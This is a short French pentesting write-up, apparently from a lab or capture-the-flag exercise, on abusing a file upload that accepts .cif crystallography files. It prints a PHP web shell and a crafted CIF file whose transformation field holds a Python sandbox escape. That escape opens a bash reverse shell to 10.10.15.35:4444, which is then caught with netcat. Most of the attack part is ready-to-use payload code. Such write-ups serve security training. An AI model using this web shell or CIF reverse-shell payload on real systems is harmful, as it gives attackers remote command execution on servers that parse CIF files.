File Upload (cif) Techniques - Pentesting Web

Vulnérabilité File Upload Abuse (.cif file)

Le site nous demande de téléverser un fichier .CIF.

Tentative cmd.php

Pour tous les scénarios ci-dessous, nous allons utiliser le fichier PHP suivant, nommé "cmd.php", qui nous permettra d'injecter des commandes au niveau du système du serveur :

<?php
system($_GET['cmd']);
?>

Cependant, nous rencontrons un code d'erreur. "Method Not Allowed"

Nous interceptons la requête avec BurpSuite.

Nous essayons plusieurs types d'exploitations (validation côté client, extension personnalisée avec .htaccess, le nom du fichier devant contenir "cif", vérification du type de fichier, conversion en MD5, etc.), mais aucun n'a fonctionné.

CIF Code Injection:

Après une recherche sur Internet, nous trouvons la possibilité d'injecter du code malveillant dans un fichier .cif.

Arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_stringGitHub

Voici le contenu du fichier cmd.cif pour nous verser une revershell:

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy


 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.15.35/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Nous nous connectons ensuite avec netcat (nc) sur le port 4444.